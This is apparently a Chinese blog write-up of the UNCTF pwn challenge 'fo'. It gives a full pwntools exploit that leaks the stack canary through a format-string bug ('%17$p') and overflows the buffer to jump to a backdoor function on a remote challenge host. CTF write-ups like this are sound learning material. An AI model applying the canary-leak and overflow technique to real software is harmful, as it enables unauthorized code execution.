unctf-fo


UNCTF——fo

我真是个傻逼!这题目就是拿来自己打醒自己的,比赛卡了一晚上,一度怀疑是自己字符串漏洞没学好,研究一晚格式化字符串,结果wp出来一看,计算偏移量搞错,我真是个大傻逼!!!

检查保护机制,64位,开NX和canary

思路

题目里printf函数,可以直接格式化字符串漏洞溢出canary地址,然后覆盖夺权,思路很简单。

但我是万万没想到啊,栽在自己手里

从头到尾,一共0x58的大小,我偏偏忘掉减canary地址,以至于整个题卡住,我是傻逼!!!

最后就不用多说了

exp

from pwn import *

#context.binary='fo'
context.log_level='debug'

#r=process('./fo')
r=remote("node2.hackingfor.fun",36041 )
elf=ELF('./fo')

rdi=0x4008e3
backdoor=0x40080D
main=0x400823

r.recvuntil("you?")
payload='%17$p'
r.sendline(payload)
r.recvuntil("0x")
canary = int(r.recv(16), 16)

payload='a'*(0x58)+p64(canary)+'a'*8+p64(backdoor)
#r.recvuntil("...")
r.sendline(payload)

r.interactive()

总的来说,题目很好,下次不会再犯傻逼错误了,省赛加油!


文章作者: Pr0b1em
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Pr0b1em !
  目录